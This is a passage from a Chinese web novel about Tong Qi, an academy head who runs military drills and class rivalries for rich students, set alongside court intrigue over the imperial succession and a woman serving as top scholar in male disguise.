以一月为期,观察童启的教学手段。 若是能够教授成功,那炎黄书院的名字一定会大爆,但如果教授失败,那随着任务的结束,他的性命也将会受到无与伦比的严重挑衅。 勉强将系统名单上的二十人全部收录进分院校读书。 这一次,童启可不会像是以往的学生一样来软的,徐徐图之了,因为压根没有那个时间,他上来就必须要上硬核的,直接打断他们的所有世界观,再次重塑,这样才能够焕然一新。 他将早已经写好的一个月计划表递给童继本,令其遵照这个进行安排。 对方接过后,有些震惊。 “军训?您这是?” “没什么比一起扛过枪,一起同过窗更容易打成一片的了,他们现在仍旧是以个人为主,要想让他们团结一体,那就得树立一个强大的敌人,而咱们就是那个敌人,不要怕得罪人,这是咱们的书院,自然要按照咱们的规则来。不必怕,只要训不死,那就往死里训,他们抵得住的。” “是。” 童继本略带兴奋的说道。 自黄龙府之后,童继本几乎就没有再上过战场,将一众安保人员训练完之后,他的手都痒痒了,没想到,童山长却将他们直接丢给了他。 既如此,那他可不会客气。 他早就看不惯这些纨绔子弟了,不把他们身上的坏毛病好好剔一下,简直都愧对他们收的学费。 于是,华夏书院一年一度的军训,正式开启了。 就在新生哭爹喊娘,头一次见识了社会的恶劣程度的时候,童启也没有闲下来,而是自顾自的拿上几个礼物,前往潭州府,亲自挖老师去。 虽然说二十个人,他一个人也能教的了,但新的分院,他已经不想做事事躬亲的校长了。 这一次,他打算逆着来,将自己举得高高的,成为所有学生的靶子,而老师先生则负责当好人,这样一个红脸一个白脸,双管齐下,才能够让他们团结一致,治好眼高于顶的毛病。 金国王子苦兮兮的跟着新生们跑步、锻炼,每日从日出站到日落,再从山上跑到山下。 短短几日下来,别说靠近童启培养感情了,每天睡前不说骂他两句,都不足以出出气。 一腔热血瞬时被打破。 偶然时,他甚至都怀疑对方是不是发现了他,所以故意折腾。 但好在,其对其他人都一视同仁,同样严厉,这才勉强打消了一点他的防备心。 他也没想到童启竟然会骤然改变教学方案,更没想到会是这个改发。 一开始,他还累得不行,但坚持几日下来,却隐隐发现这一套有些不对劲。 看似简单的训练方式,但不仅将他们这群弱叽叽的文人训练成了更加遵守纪律的人,就连行走作息都与之前的精神面貌完全不一样了。 可是,哪里变了呢? 他有些参不透,但能够确定的是,这绝对不是他们大奉朝的普通民兵训练方法,而是绝对的军中所用。 这童启到底想做什么,造反吗? 第133章 第133章养蛊教学 别说金国王子对此感到疑惑了,就是当地不少官员都有些忐忑,忍不住小心翼翼的询问上级。 “童山长这书院开设的自然没问题,只是这训练方法,是不是有点……” 奇怪? 别说他们是多想,任谁到了一个据地,又是笼络当地所有的豪绅(招生),又是武术训练强身健体(军训)的,都会令人觉得有点不对劲吧? 可潭州府知府与县令不管。 这童山长,可是他们好不容易请过来的能够压制平衡当地世家大族的猛人,只是搞个军训而已,有什么?只要不是真谋反,拉着他们一起造大炮,他们都无所谓! 反正简在帝心嘛,人家手里还有着圣上发的丹书铁券呢,稳稳地! 因此,哪怕有人觉得不妥,想多说几句,可是在知州的一言堂之下,依旧被压得死死的。 童启与其建立的分院校就这么被严丝合缝的保护了起来。 百姓们也对这炎黄书院的入驻感到十分开心,为什么呢?因为童启军训,直接将往常闹事的纨绔子弟们全部一波带走了,街面上的氛围空前一清,就连闹事的闲汉都少了很多! 社会治安好了,被欺压的良民们也少了,就连衙门里的差役,都感到肩头上轻松许多。 人人赞叹,喜不自矜。 只恨不得童启能永远的困住那群人,再也不放出来好呢。 而在众人的盛赞之下,童启的纨绔改造计划也在有条不稳的进行。 有前面的一月之期在这里压着,即便那些纨绔百般不愿,可为了赌一口气,也愣是扛下来了,这让童启多少有些意外。 本来他还准备了一系列压制反抗的方法,既如此,也用不着了。 他研究了一下,要想让这些人心甘情愿的留在这里,无非就是两种方法。 一是让他们感觉到书院的特别之处,被读书的喜悦所由衷吸引。 这基本不可能。 别说读书的乐趣,他们连上学的乐趣如今都感受不到呢,出身富贵窝,已经导致他们生活的期待阈值被撑的极大,即便看到书院里远超于这个时代的建筑,也半点没有惊讶之色,最多只是瞄几眼,然后便正常的使用体验,半点没有寻常百姓们误以为神迹的波动感。 要想令他们留下,只得扩大他们的阈值,转移他们的注意。 那么,童启突然想起一个词——养蛊。 既然喜欢竞争,什么事都攀比两下,那何不将这股精力转化为相似的情绪呢? 比如……给他们建设一个假想敌。 不是浑身戾气无法发泄吗? 那就斗下去吧。 最好斗得你死我活,悄无声息不知不觉的陷入上进的争斗之中。 为了读书和排名整日忙碌,这才没有时间,再去思考什么伤春悲秋、搞怪欺凌的恶事。 男人,就是莫名其妙的胜负欲啊! 给他们一个合理的上升通道,哪怕这个通道是错的、没有结局,他们也会顺着这个逻辑继续走下去,直到终点。 因此,童启分院校的培养计划,直接采用了和华夏书院截然不同的管理方法。 ——竞争! 就像是军队一般,化整为零,将二十五人分为两组,成立两个班级,以楚谨言、司启宇为班长,进行整体排名,近而无限度激发他们的攀比欲望。 反复循环。 为此, 他观察了学生们之间的氛围,甚至不惜从楚家和司家挖来了两位相当厉害的坐席。 来担任不同班级的班主任。 一位是楚家二房如今的家主楚信义。也就是楚谨言的父亲,其年轻时也算是闻名江南的大才子,若不是断了腿之后无法做官,只怕现在应该是楚家最厉害的人。另一个,则是司家如今的族学先生谭勇赋。 这位谭勇赋便是司家家主在宴席上吹嘘过的那位。 曾拿下了龙虎榜的状元郎,但是因家族站错了队,而到最后都没有做官,反而退回江南,教导起世家学生来。 其听闻童启来访,十分惊讶,因为他与童山长从未有过任何交集,甚至因为司家家主的矛盾,两方按理说,应该属于敌对方的。 如今骤然找上门来,说要请他去书院担任什么班主任? 认真的吗? “素闻童山长善于教学,更善于科举,与我等之路,只怕不太相同吧,怎么会想要来邀请我呢?” 谭勇赋素手烹茶,递与童启品鉴,行云流水之间的动作,尽显家族底蕴之色。 比起北方大多数都承认了童启的教学能力之强,南方的这些儒士大家,普遍还是认为其是野路子出身,并不太承认的,尤其是以谭家这种在传统教学里稳扎稳打,达到一定地位的,那就更与童启所走的路不同了。 因此,他十分好奇童启哪里来的自信,以为只要邀请,就能将他请过去。 毕竟以司家的地位,给的钱也好,待遇也好,都已经算是行业内顶级的了,难道童启还能更高不成? 就算开价开的更高,可教学的思维不一样,又如何处理呢? 到时发生冲突,是听自己这个先生的,还是听童启这个山长的呢? 见对方满脸好奇,并无咬死了没有余地的样子,童启稍稍松了一口气,将手中的礼物顺势送了出去。 这是他从系统库里找出来的两本孤本典籍,整个大奉朝,应该没有一个儒士会拒绝。 果然,对方眉头稍挑,虽没说什么,但也没有推回的意思。 他整整衣襟,客气的说道。 “不论您来不来我们书院,这两本书都是我的诚意,还请不用有负担。我之所以来请您,担任我们书院的班主任之一,自然是看重了您本身所拥有的能力,认为可以在我们书院得到更大的发挥,至于束脩嘛,自然是和司家条件一样,不同的是,我们书院有一个藏书阁,其内书目可达到数十万本,包括这样的孤本,大概有数万部,只要成为班主任,可自行借阅!” 上万本! 潘勇赋的表情听到这里,这才微微变色。 打心底里倒吸了一口凉气。 钱什么的倒是不重要,这些年来他见过的暴富者多了,不少自恃富贵的,往往能开出天价让他前往教学,可手握数十万本的书目的,这还是第一个! 寻常人可不能随随便便拿出这些,即便是如楚家那样的文化底蕴,也不敢如此表达。 这童启到底何人,竟然能做到如此之事? 只凭这一点,便让他对炎黄书院的判断隐隐上升了两个台阶。 “当然,这只是其一。” 童启笑着说道,一点都不怀疑谭勇赋的心动。 “其二则是,这一次的分院校,我想要采取新一种方式的教学,提高竞争力,因此将班级分为了两个,学生们之间两组实力相当,各自比拼,胜的班级,则待遇处处提高,败的,则待遇处处落后,您便是其中一个班级的负责人,而另一位,则是楚家二房楚信义。” 楚信义? 这个名字令谭勇赋骤然掀起了眼皮。 几乎不必过多打听,但凡进入潭州府的人,便会知晓两者之间残留的矛盾。 说来也是一桩孽缘。 两个人同出江南,皆是天之骄子,年轻时被各自的家族使劲儿推崇,就连名字也经常放在一起去读,不是他第一,就是另一个第一,都已经成为宿敌一般,必须分一个胜负才能够放下了,可谁料一夕之间,却双双陨落。 楚信义被打断了腿,不再出门,始终龟缩在家庭之中,沉溺于痛苦之间。而谭家也因为站错位,不再参与任何科举考试,两个人愈走愈远,约好的“世界大战”便成了一种奢望。 直到现在,也难以再比一场。 而童启却将两个班级的班主任定为了他们两人,足以见得他“拱火”的心思之强。 “你确定真的能请到楚信义?” 谭勇赋明显被这个名字吸引的更多,他迫不及待问道。 年少时的执念并没有因着年岁便大而消失,反而愈加猛烈,两人之间的那场胜负,即便穿梭了多年,也迟早得有个完结! 若童启真的能请来楚家二房,那他即便是不做司家这个西席,也愿担任炎黄书院的班主任! 但前提是,这不是大话。 童启见状胸有成竹的起身,行了一个文人礼,道,“看来我此行目的已经达到,既如此,那便在书院内恭候谭先生了。对了,您带的班级是二班,班长也是司家的孩子,名为司启宇,到时候一切的事务,您可以分派给他,一起管理,这是您的令牌,我们书院见!” 童启将玉制的令牌递过去,转身施施然离开了此地。 只剩下谭勇赋愣愣的盯着那上面镌刻的“炎黄”二字,久久缓不过神来。 其实请楚信义比请谭勇赋容易多了,连藏书阁那样的话都不必说,只要送个自由活动的轮椅过去,再说一句“担任班主任可亲自看着楚谨言,对孩子发展更好”这样的话即可。 对方便会开心的上山来,施以多年压制下去的读书“抱负”。 且不论这两位先生入职书院后,给两个班长带来了多么大的心理阴影。 童启在邀请完先生入职之后,也没闲着,反手给所有学生的军训再次加重了几分后,便端了个躺椅过来,坐到一旁,边啃着西瓜边嘲笑他们的训练成果。 往两人本就不太和谐的关系上,浇下更多的油,来加速他们之间的较劲儿与竞争。 “不是吧?楚谨言你确定这是在站军姿?歪歪扭扭的一点都没有那种精气神,看看人家旁边的司启宇怎么站的,完全被比下去了啊!” 楚谨言咬牙瞪了童启一眼,愤愤的看向司启宇,猛地调整了动作,黄豆大的汗从他的额头上掉落,他隐忍着,依旧不发一言。 司启宇得意的挺了挺胸膛,还没骄傲几秒,紧接着又听见童启说道。 “不行不行,司启宇你这裤缝太大了,手掌心贴紧了没?继本叔拨一拨他的手掌心,看吧,这么轻飘飘的,一推就倒,能成什么事?看来我刚才说错了,要论标准,还是人家楚谨言做的更标准一些!” 楚谨言得意的斜睨了他一眼,冷哼一声,令司启宇心头火起。 柳三变与苍蝇站在角落里,看着“性格大变”的山长,无声的融入人群,不敢说一句话。 好家伙,总觉得分院校似乎开启了山长的某个劣根性的特点。 说出的话自带一种想打人的欲望。 这就是坏坏的魅力吗? 天哪,压力已经起来了。 有着童启的煽风点火,不出三日,一班与二班已经形同死敌,就连吃饭都要比上个两下,看谁才是更快更高更干净。 这种火热的氛围,连带着童庆安他们这种已经熟悉了童启旧有教学模式的人都不由上头起来。 因着分班的不同,而彼此看不顺眼。 等到楚信义与谭勇赋到来后,这种矛盾则更加的升了一级。 本身班主任两方就是宿敌,新仇旧仇一起算,很快便拧成了一股绳,一致对外! 童启将军训排名、班级排名、流动卫生小红旗、学业排名、荣誉制度等一系列只要能达成竞争的规则全部引入了进来。 然后,便默默的退下,担任起了裁判方,深藏功与名。 而另一边,京都里,几乎在山长保护下长大的华夏书院毕业的旧学生,同样也没有逃脱争斗的可能。 尤其是在王世昌当着圣上的面儿拒绝四公主的赐婚之后,他便荣升成为了整个朝廷的眼中钉肉中刺,不仅成为了翰林院的耻辱,坐起了“冷板凳”,就连其他同榜的进士们提起他,也是一脸晦气的样子,与之前烧热灶时,满脸殷切的模样完全不同。 陆无双与谢君仪等人提起这个,皆相当愤怒。 “又不是什么强买强卖,何必做出这副讹上来的姿态,好好的公主难道还愁嫁不出去吗?人家王世昌就是不喜欢,能怎样,天家如何,天家就能不讲理吗?我要狠狠的参上一本,让圣上也看看这些朝臣们的小人姿态!” “差不多得了,难不成还能让圣上请四公主道歉吗?王兄也是,好好的状元郎,搞成这样,又不是不能纳妾,大不了你可以先把人娶进来嘛,等过几年再娶一个喜欢的不就得了?” 王世昌低垂着脑袋没有言语。 这是她招惹过来的业债没错,但即便如此,哪怕顶着圣上的不喜,她也不想就这么拉四公主下水。 因为她能够感觉到,四公主对于“王世昌”是认真的。 而正是这份真心,让她如被烫到,愧疚又恐惧,避之不及,注定辜负。 就如同众人说 的,若她是男子,那娶四公主自然可以,即便没那么喜欢,但只要娶进来,她也能做到好好珍惜。 可她是女子啊,两个女子又如何在一起呢? 若倘若回头她的身份被揭穿,四公主又要如何自处? 正因如此,她能够感受到这背后的痛苦,才愈加不能如此糊里糊涂的答应下来。 她不愿将自己的功成名就建立在另一个女子的悲剧之上。 那太自私了。 曾经的路那样难走,看不到任何希望,她也已经走过来,顺利当上了官,今后只是受点冷脸又如何呢?大不了慢慢的来,一辈子就做个九品芝麻官呢,那也已经远胜当初那个困在河南府,连书都读不上的女孩了。 回首往事,王世贞觉得自己是个十分贪婪的人。 起初本只是希望代替弟弟去书院读一读书罢了,可后来又想着像男子一样去考取个功名。拿到秀才后想举人,当上举人后又想要当状元,看着一个个目标被实现,心中的欲望也越来越多。 凭什么她就不能为官做宰呢? 靠着自己的真材实料拿到的状元,只因为性别不同,就要放弃一切,回去继续过那样普普通通的日子吗?谁说必须男人才能当青天大老爷,主持公道,她身为女子,难道就不能保一方平安,为这天下黎民做出一点事情吗? 差在哪里? 只是那二两肉吗? 她不信。 更不愿认命。 所以她要继续坚持下去,哪怕被针对被为难,好不容易得来的这一切,她也不愿拱手相让。 就这么正常的上下值,听课讲课,在翰林院蛰伏的日子,就像是跳远之前所必备的弯膝一般,自然而顺利。 剩下的其他华夏书院的学生也纷纷被派往各部,担任起螺丝钉的工作来。 反倒是世家出身的谢君仪被委以重任,一上来就被圣上点为了监察御史,负责监察各部,成功实现了最初的梦想,混的比陆无双这些探花们还要好一些。 胡丞相坐在阁内沉默的看着官员名单。 越看越觉得心惊。 不知何时,朝堂里华夏书院出身的学生们已经变得如此之多。 吴韧深受重任,担任广州府知州并市舶司司长,汪启元则在他的运作下,成功升为户部侍郎,官居四品!而守住了京都,立下大功的杨舟万则被封为边疆大吏,前往了黄龙府固守。 常仕进在翰林院,刘卜温在礼部,郭胜开在环县当县令,如今戚风言、莫小川、王禹偁、程勤、全岸轩、陆无双等人也成功入朝,在各部门担任官员,似乎有一张大网在无声无息的笼罩起来,慢慢收紧网口,即便是他,都感觉到了一阵忌惮之色。 倘若华夏书院真想做点什么,他们朝廷真的来得及防备吗? 虽然童启还未入朝,但哪天若他进来了,这朝廷是听他的,还是听圣上的呢? 只一想,便觉得毛骨悚然了。 “我们必须得想办法压一压华夏书院的威势才行,不然假以时日,这一定是一股恐怖的力量。”胡丞相忧心忡忡的像大皇子进言道。 可没想到大皇子却毫不在意,反而还劝诫他莫要多想。 “那童启直到现在都没有入朝的意思,怎么可能有拉帮结派的想法呢?况且这些学生虽然都是从华夏书院出来的,可是却并不代表着他们就一定是一个派别的势力啊,汪启元不就被咱们拉过来了?只要有足够的利益,不过只是同窗之情而已,没有您想的那么严重吧?” “大殿下怎么能够如此想?” 胡丞相惊讶道。 “汪启元是咱们队伍里的人,那是因为我把女儿嫁给了他,咱们是绑在一根绳上的蚂蚱,我当然不怕他逃脱!可是文人儒士,向来是师者为尊,这个身份是永远不会改变的。且不管这些学生如今到底如何,站在哪门哪派,只要童启入朝,那必会全力倾倒于童启那边,到时候,咱们的地位可就不稳了啊!” “既如此,那咱们索性将童山长也拉拢过来不就行了?俗话说冤家以解不宜结,为什么一定要刻意针对呢?不是我多嘴,丞相,您说会不会一直是您想的太多了?不过一个文人而已,充其量会教教学生,讲讲课,能掀起多大的乱子?也至于如此严防死守吗?” 胡丞相:…… 他敏感的感觉到了大皇子的状态不对,以前提起华夏书院时,他还是一副忌惮之色,认为他们是属于三皇子的一方,将来做大,势必后患无穷,这怎么到了如今,反而一改常态,变得如此懈怠了? 难道是有什么事情发生了,他却不知道吗? 胡丞相微微敛下眸,以此试探问道。 大皇子满脸尴尬忙摇了摇脑袋道。 “哪里有什么事,您啊,就是太谨慎了,好好好,我听您的还不行吗,以后定好好注意他们的动向,绝不会让他们进入关键部门任职的,您就放心吧!” 胡丞相若有所思的看着对方,沉默的咽下了后续的话语。 且说四公主被公开拒绝赐婚,之后便一直想要找王世昌聊聊,解释一番,可却始终没有逮到人。 这一次,临近下职,她再次等候在了翰林院门口,却又扑了个空。 “不好意思,四公主,王状元已经离开了,去礼部帮忙整理祭文,您若有要事,不如明日再来?” 守门的小官抱歉说道。 不少听到声音的翰林院学子由此探出头来,皆一副兴奋期待之色,忙整理了整理衣衫,站起身,迎了出来。 “四公主可需要帮忙?我与王兄关系匪浅,有什么事,皆可以代劳!” “我也是我也是,不论弹词说赋,喝酒赌钱,我都行的!” 四公主漠视的环了一圈,抬高脑袋鄙视道。 “就凭你们,也想做那攀龙附凤之人?也不看看长什么样子?” 她冷哼一声,转身离开,不顾身后众人的尴尬,依旧保持着那个无法无天的模样。 文铭川快速的追了出来,叫住了她。 “四公主!臣有事要禀,事关王世昌,不知道可否借一步说话?” 他双目灼灼的看着对方,满脸期待紧张之色。 四公主意外的挑了挑眉,没有拒绝,此人她认识,乃是国子监祭酒的高徒,文家的嫡长孙,文铭川。 与王世昌乃是同一届,棋差一招,得了榜眼。 他说他知道王世昌的事?什么事? 抬手抚退丫鬟后,四公主好奇的上前两步,示意他有话直讲。 闻着扑面而来的桂花香味,文铭川忍不住红了脸,心猿意马起来,紧张的咽了咽唾沫后,说出了自己新收集到的王世昌黑料。 “四公主可知道,王兄乃孤儿出身吗?父母双亡,在伯母家长大,他还有一个龙凤胎的妹妹,名为王世贞,听闻,与他长得一模一样,今年都已经十七了,还未嫁人……难道您就不觉得,哪里奇怪吗?” 哪里奇怪? 听到这些消息,四公主本能的眼皮微跳了一下,刚想斥责对方过于八卦,竟然拿这些私事当嚼舌,可很快的,打心底里,却突然冒出一个不得了的想法来。 第134章 第134章谋大事者 王世昌的家世,对于很多人来说,其实都并不算是一个迷。 自他考上状元以后,基本上全家几口人,做过什么事,便已经如同透明般被不少官员里里外外,摸得明明白白。 毕竟前途远大的状元郎,谁不想要? 所以即便后续拒绝了四公主的婚事,也依旧有人趋之若鹜,暗戳戳等着风头过去之后,提亲联姻。 而这个时候,他的双胞胎姐姐自然便顺理成章进入了大家的视线之中。也不是没人打她姐姐的主意,但随着话语权的变大,王世贞的婚事几乎被他全部包揽了下来,不准任何人置喙。 她私下里也曾和弟弟商量过,两人皆不想早婚,于是便决定以童山长之前所发布的女子早婚危害多为借口,先躲着,等大家的目光从他们的身上移开之后,再申请下放。 等到了地方,身份一换,她再娶妻也好,男扮女装当师爷辅助弟弟也好,便无人管了。 真正的王世昌对此自然是没有怨言。 他天生就知道姐姐比自己聪明,博览群书不说,运动天赋更是极佳,有时候见到她一个人替他顶着伯父伯母的施压与阴阳怪气,打心底里,他是极其佩服的。更遑论对方还替他赚下了如此大的一个家业,状元郎啊!光是听到这个名头,他便已经大脑有些晕眩了。 不过隐藏个身份,帮忙打打掩护而已,又有什么,就是回头把儿子过继过去给她当亲生的,也未尝不可啊! 因此两人说定后,自然乐的配合。 可他们一心想低调,却有人偏偏不想让他们低调。 自四公主事件之后,不知多少人对王世昌恨之入骨。 文铭川便是这些人中最极端的一个。 他咬死了王世昌的科举成绩不实,定是有人带笔,或许就是华夏书院那一群用了什么方法这才押中了考题。不仅如此,还笃定了王世昌不娶妻定是与自己的亲妹妹王世贞有着私情,不伦云云,不然怎么解释两个人双双不结婚,还总是成双成对的出现呢? 四公主听完后,只觉 得无语至极。 这人怎么比她的脑洞还大? 她最多怀疑一下王世昌是和妹妹互换身份参与科考之类的,而这文铭川居然连不伦都想出来了,真是神经。 不过有着对方这突兀的一状,她倒的确是隐隐约约感觉到了一股不对劲之处,以前从未深思的事,仿佛一下子都有了解答。 比如王世昌身上总是清新好闻的味道,比如其他像他这样年少博学、俊美多知的男人,大多目中无人,看不起女子,动不动就满口拽文,之乎者也的,可王世昌却从来没有在她面前这样子过。 好似知晓她不喜欢这样。 或者说,他也认为,那是错的。 当然,不是说王世昌就不可能伪装的完美,但她也是阅人无数的,真正一个人有伪装在她面前,她不可能看不出来! 因此,心下想着,四公主也不由起了试探的想法。 视线来到童启的其他学生那边,且说郭胜开自来到环县担任县令后,便兢兢业业,接过了环县经济、农业等大旗,将一切整理的井井有条,不到半年,便带动了环县及附近好几个中等县城的发展,成功俘获了当地不少百姓们的爱戴。 而在大奉朝与西夏之间的榷场开起来后,他更是成为了整个县城里最忙的人。 不仅凭借着一身赌术与不少西夏人混成了朋友,更靠着渊博的知识与远见,教会了他们不少的农业知识,达成了盟友的可靠关系。 今日,便是因为偶然听到的一则小事,而成功被吸引了注意。 “你说金国王子不在国内,而是去了我大奉朝?” 一个破破烂烂穿着的西夏人点头应是,一边啃着骨头一边说着他听闻的事。 “据说他们国是要和我们王谈什么合作,具体的我也不清楚,但是辽国好像也参加了,我们王十分头痛,正在犹豫要不要加入呢。” 郭胜开悄无声息的给对方添了一杯酒,继续问道。 “若加入,有什么好处吗?” “好像是钱和地盘可以更大一些吧?” 对方努力的回忆道,郭胜开眼皮一跳,强行压下眼中的躁动之情。 “那金国王子是个什么样的人,你可知道?” “那小子邪得很,不好惹,看着面善,实则心狠又凉薄,惯会耍阴谋搞诡计的,你若要是遇到,千万避着些,莫要着了他的道。” 郭胜开笑着点点头,直接将这顿饭划到了自己的账上,心下却惊异不已。 金国王子 这人到底是什么来头,看起来目的不纯啊。 还是先跟山长、汪启元等人报备一下,万一出了什么事,也好提前防备。 他连夜写了两封信发往潭州和京都,一边继续打听着金国的目的,一边联合远在黄龙府的杨舟万,询问近日契丹族可有什么异常之处。 异常之处? 杨舟万疑惑的派人查了一遍,发现上京一片安稳和乐,根本没有什么备战的准备啊,于是只得依样写信回复。 然而,信件还未到达环县,京中却突然出了一件大事,成功打乱了所有人的脚步。 圣上再次晕厥了! 这已经是本年度第三次发生如此的事情了,任他们再不想承认,此刻也不得不面临着一个问题,那便是,圣上的确已经老了,快撑不住了,这个朝堂即将面临新的选择。 所以到底是哪个皇子登基,一下子便被放到了明面上来讲。 成为了重中之重! 大皇子与三皇子的门槛几乎都被踏破,胡丞相等人文臣一派,坚定了要力挺大皇子,可随着黄龙府之战,徐将军所蹭到的军功,以及圣上屡次三番明晃晃的偏心,有不少人隐隐变动了风向,改为支持起三皇子来。 三皇子得意不已,还未坐稳,便开始提前宴请群臣。 对此,身处于翰林院的常仕进等人皆十分不屑。 “身为储君,如此喜形于色,圣上还未殡天,便提前开始庆祝,岂为人子乎?” 不过随口的一句话,不知谁竟流传了出去,三皇子顿时怒不可遏,直接令人将常仕进下狱,不仅如此,原本打算离宫去投靠童启的赵天阙,也被拦截了下来,不准离开。 汪启元、刘卜温听闻后,瞬间黑了脸,至此,对于三皇子算是彻彻底底的失望起来。 怎么说华夏书院名义上也是归属于三皇子一派的,对方此举,无疑是将华夏书院放在火上烤,过河拆桥,弃如敝履。 “还未登位便如此,登位了哪里还有我们活着的空间” “要不我们转投其他人吧,山长之前就说过,不必因为他短暂的借过三皇子的势,或者答应了什么,便强迫自己站在他的阵营,三皇子不是明主,这是山长早就知晓的事情,弃了他,不算背主!” 学生们暗地里商讨着,可转投其他,又到底要投谁呢,依旧没有个明确的解答。 因为山长也说过,三皇子虽不是明主,但大皇子更不是明君,如今大奉朝后继无人,短时间内,他看不到方向。 这也许就是山长前往南方避事不入朝,开分院的原因吧? 汪启元没有犹豫太久,思考过后,便带着大家开启了一个新的方向。 “大家可有想过,另起炉灶?” “你的意思是?” “谁说一定要在大皇子和三皇子之间选择,若我们迎赵天阙上位呢?” 这个提议,顿时引起了刘卜温与谢君仪等人的惊异,他们倒抽一口凉气,难以置信道。 “可天阙是皇女啊!” “对,但谁有说过陛下必须得是个男子吗?那武后不也是一届明君?与其支持陌生不熟悉的人,不如挑选一个铁定站在我们这一方,聪明乖巧的,天阙出身于山长旁边,又受到了华夏书院的教导,若登位,远比任何不靠谱的皇子都更要稳固一些。” 汪启元冷静的双眸隐隐透出一股疯狂,看的其他人忍不住打了个冷颤,道。 “你简直是疯了,且不说圣上会不会立天阙为储君,即便是他立了,有大皇子、三皇子、六皇子等年轻力壮的人在,他们会眼睁睁看着天阙登位吗?” 除非,他们都死绝了! 等等……死绝了? 后知后觉的几人如同看鬼一般猛地看向汪启元的方向,情不自禁的吞咽了一口唾沫。 可汪启元却像是根本没有注意到一般,继续罗列着他们这边的优势。 “为什么不可能?咱们华夏书院肯定都是支持小师妹的,杨舟万与郭胜开掌握了边疆,吴韧和戚风言他们掌握着地方,要钱,咱们有钱,有人,咱们有人,兵权嘛,听说柏大将军与岳灼华将军也对天阙十分有好感,武器就更别说,没有谁手中握着比我们更厉害的大杀器了,而且我们还有着两个书院的支持……” 越说越 觉得有一己之力,几个人不由得被说动了几分,渐渐上头。 可惜的是,这份遐想尚未展开,圣上便很快又苏醒了过来,如同没事人一般,继续上起朝来,看着身体健康,还能活好几年的模样。 于是,大家只能暂时按捺下来。 无人知晓,曾经的“六君子”并没有打消这个想法,而是私下里悄然联络着,商讨更多的细节。 而常仕进被关进牢狱后,也遇到了一个未曾想到过的人。 “许明奕?你怎么会在这里?” 他瞪大了眼睛,看着对方一身官服,显然官衔不小的样子。 十分的难以置信。 对方乐呵呵的摇了摇手中的折扇,笑道,“没想到吧,自环县拜师后,我便听从了山长的教导,令家里人给我谋了个京官,成功破获几个案件后,便被调入了大理寺,如今,鄙人不才,正是大理寺丞,官居正八品!” 第135章 第135章文武联姻 有着许明奕的照料,常仕进瞬间在牢狱里的待遇提高了几级。 呆的是如鱼得水,惬意不已。 他也不着急离开了,反而如同旁观者一般拉着许明奕,让他先别急着给自己平反,而是看一看朝堂上的风向再说。若是依旧混乱,他就避一段时间,需要他时再出来,也不错。 不然总是搞这种突然抽风一样的事,谁能受得了啊? 而事实也的确如常仕进所预料的那样。 圣上醒后,一下子仿佛认清楚了自己时日不长的事实,纠结了大半辈子的储君人选,不到两日便强势确定了下来——正是三皇子。 哪怕三皇子倾吞江南赈灾款,无才无德,唯一的岳家徐将军又是个挂名蹭功劳的,可依旧挡不住贵妃娘娘受宠,三皇子本人得皇上的心啊!所以即便朝堂众臣大多数都持反对意见,胡丞相更是带领不少阁老静坐大殿之上,以示不满,皇帝依旧任性的坚持选择。 整个三皇子党皆兴奋不已,自以为得了从龙之功。 而大皇子这边则灰心丧气,一股大势已去之感。 “要我说,还是您优柔寡断,在开封时若不是您劝我谨慎守礼,静待机会,我们也不会眼睁睁看着事情走成这样!” 大皇子略带埋怨的看向胡丞相。 那个时候,圣上都中风了,正是混乱之时,若是抢先起兵夺位,岂不是顺理成章? 他都安排好了,却被胡丞相以“登位不正”为由劝了下来。 如今可好,白白看着机会流失,大权旁落。 胡丞相听出了大皇子口中的怨气,心底微冷。 他是劝了不假,可他也提议让其争取去黄龙府抢功,拉拢华夏书院呢,那个时候,大皇子也没听啊? 现在倒反过来怪他? 真是不知好歹。 两个人因此稍稍离心,而趁着此机会,汪启元却悄然上位,向大皇子进言道,“其实,也不是没有翻盘的可能。” “哦?爱卿有何想法,不如细说!” 大皇子此时就如同抓住了救命稻草一般,死死的拉住汪启元,称呼也由汪大人变成了汪爱卿。 “俗话说,要想使其灭亡,必先让他疯狂。一时被封为储君不算什么,圣上还没离世呢,只要在圣上离世前改变皇帝的旨意,那么就算被封了储君,也能再次废掉。更何况三皇子本身便心高气傲,不知进退,我们不如先捧着他,让他狂妄起来,那么,等圣上看清楚立了三皇子之后的后果,也就会知晓选择的错误了。” 大皇子双眼顿时一亮,惊叹道。 “有道理,就这么办!” 汪启元见他被说动,继续进言,“而您只需要呈现出和三皇子截然相反的态度便行,他狂妄,您就谦卑,他索要,您就给与,他冷漠,您就关爱弟弟妹妹与父亲,比如四皇子的女儿赵天阙,听说前一段时间便被三皇子所禁足,不允许她回到华夏书院继续读书,您若是能在圣上面前提一提,皇上必定认为您重视亲情,反而会高看一眼。” 这,便是以退为进,先示弱,后夺取。 用在争宠上好用,用在争储上,同样如此。 大皇子顿时心动,如获至宝,对汪启元也从一个简简单单自己阵营里的人,上升到心腹的程度,很快,对其信重便超过了胡丞相,十分倚赖。 他按照汪启元的说法一一去做,果然,不久后,圣上便龙颜大悦,称赞其有“君子之风。” 赵天阙的通行令再次被放出,常仕进的“失言之罪”也被轻拿轻放,关了几天后,便被放了回去,官复原职。 三皇子憋闷不已,对汪启元一党也更加厌恶起来。 话说赵天阙在京城中一年,受了不少委屈,可真正一封吐槽抱怨的信都没有给童启写过,汪启元等人的信寄过去的,也被她令折继世、李元昊悄悄追了回来,不允许发出。 报喜不报忧。 她总不能一辈子倚赖山长,总也要成长起来的。 所以童启一整年都不知道赵天阙在京城发生的事情,还以为她过的很好。 这就导致两个人极大的信息差。 这一次,逃出京城,重新回到童山长身边,李元昊、折继世等人才狠狠告了一状,与童启说明了京城发生的事情,包括他们与三皇子的博弈。 童启听闻后,顿时怒不可遏,连发了十道折子,怒骂三皇子不配为君,欺负小孩,同时责怪三皇子妃没有母仪天下的胸襟,不配为后,批的那叫一个文采飞扬,连登了半个月京城八卦榜榜首。 令三皇子一党嫉恨不已,直接与华夏书院彻底割裂。 不少人都议论童启不会为人。 你说你都支持了三皇子那么久了,他好不容易被封为储君,眼看着从龙之功近在咫尺,怎么就不能忍忍呢? 可童启不愿意再忍了。 他早就知道大奉朝要完蛋,不管是大皇子即位还是三皇子,结果都不会有多大差距。 能坚持几年,只是时间问题罢了。 既如此,何必还非要讨好附和呢?又不像是学院刚刚办起时那样需要步步为营,小心谨慎,现在他不少学生也都进入朝堂了,自己也颇受圣上的看重,真要对一对,没准谁胜谁负呢? 三皇子显然也知晓,所以并没有公开反驳说什么。 